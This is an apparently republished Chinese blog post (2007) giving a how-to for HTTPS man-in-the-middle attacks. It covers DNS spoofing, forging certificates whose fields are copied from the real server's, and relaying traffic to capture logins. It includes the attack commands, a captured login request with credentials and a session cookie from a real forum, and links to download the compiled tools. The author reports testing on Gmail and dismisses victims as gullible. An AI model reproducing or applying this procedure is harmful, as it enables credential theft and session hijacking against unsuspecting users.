2007-09-29 [url]http://www.ph4nt0m.org[/url] 这篇文章主要是介绍一些如何进行中间人攻击,包括两部分,第一部分是伪造证书,第二部分就是中间人转发数据了。作为中间人之前,需要使用DNS欺骗将域名解析到中间人的机器上面。HTTPS中间人攻击对自己签发的证书比较有效,比如xfocus这样的。因为本来就会出现证书警告,而向yahoo,google等网站,是权威机构发布的证书,伪造了之后会出现安全警告,不过我想白痴的用户还是很多吧。另外,这种劫持是只能在用户端攻击用户的,和服务器没啥关系。 先说说伪造证书的方法。首先使用openssl来生成一个证书,我这里生成了一个example.crt和example.key两个,保护密码为 1234。然后连接到真实的HTTPS服务器,获取真正的证书。再对开始伪造的证书进行修改,将伪造证书的几个字段改成和真实服务器的一样,增加迷惑性。 这个程序也包含在下面了,代码很短,可以自己看看,我不多描述了,主要用了X509_set_version, X509_set_serialNumber,X509_set_subject_name和X509_set_issuer_name等4个API修改的。不过比较郁闷的是windows下面编译的openssl竟然有点小问题,X509_NAME这个结构体是undefined的,写代码的时候想办法避开就好了。这样做出来的证书,开起来和真实的一样,不过公钥不同,因为如果公钥也用真是服务器的,我们没私钥那么中间人就白做了。 现在要说的就是怎么做中间人攻击了,对于一般的站点,会同时具备HTTP和HTTPS两种,所以需要在中间人的机器上监听tcp 80和tcp443,然后对数据进行转发。这一部分没什么难的,就是程序写得比较乱。本来forward等几个文件的函数可以合并到一起的,去年我就是这么做的,但是结果bug非常多。这几天突然想起对HTTPS的攻击,就把代码翻出来重写了。代码变长了很多,但是效果好了很多。唯一遗憾的是,貌似对 firefox无效,不知道为什么,需要进一步分析。 我对自己登录xfocus的论坛过程做过测试,密码什么的还是能抓到的,gmail我也测试过,基本没太大的问题。附件里面是代码,编译好的程序和我的测试证书也在,不说了,代码描述吧(代码非常乱,嘿嘿)…… 攻击的时候可以这样: D:\Projects\HttpsMiM\Release>MakeCert.exe 125.208.7.30 write fake cert to 125.208.7.30.crt, use this to do the mim attack! D:\Projects\HttpsMiM\Release>HttpsMim.exe 125.208.7.30 125.208.7.30.crt POST /bbs/index.php HTTP/1.1 Accept: p_w_picpath/gif, p_w_picpath/x-xbitmap, p_w_picpath/jpeg, p_w_picpath/pjpeg, application/x-shoc wave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, applicatio /msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms xbap, application/x-ms-application, */* Referer: [url]https://www.xfocus.net/bbs/index.php?act=Login&do=00[/url] Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2. .50727; .NET CLR 3.0.04506.30) Host: [url]www.xfocus.net[/url] Content-Length: 90 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=033eebeaf4af7c73243ff3901c70f292 act=Login&do=01&UserName=ph4_yunshu&PassWord=wrongpassword&submit=%CE%D2%D2%AA% 5%C7%C2%BDssl2 recv erro: error:00000000:lib(0):func(0):reason(0) GET /p_w_picpaths/title.gif HTTP/1.1 Accept: */* Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2. .50727; .NET CLR 3.0.04506.30) Host: [url]www.xfocus.net[/url] Connection: Keep-Alive Cookie: PHPSESSID=033eebeaf4af7c73243ff3901c70f292 代码下载: [url]http://www.icylife.net/pic/httpsmim/MakeCert.zip[/url] [url]http://www.icylife.net/pic/httpsmim/HttpsMim.zip[/url]本文出自 51CTO.COM技术博客 |
如何进行https中间人攻击
精选 转载
如何进行https中间人攻击
提问和评论都可以,用心的回复会被更多人看到
评论
发布评论
相关文章
-
教你如何进行Prometheus 分片自动缩放
Prometheus已经成为云原生时代事实上的监控工具。
Pod Group Prometheus 监控工具 Keda -
中间人攻击(三)HTTPS实战应用
本文例举一个Https的应用实例来进行中间人攻击的总结......
https CA验证中心 -
Android HTTPS中间人劫持漏洞浅析
作者:行里1. Android HTTPS中间人劫持漏洞描述 在密码学
android 密码学 计算机 ssl证书 -
Https 协议简析及中间人攻击原理
Https 协议简析及中间人原理
服务器 客户端 加密算法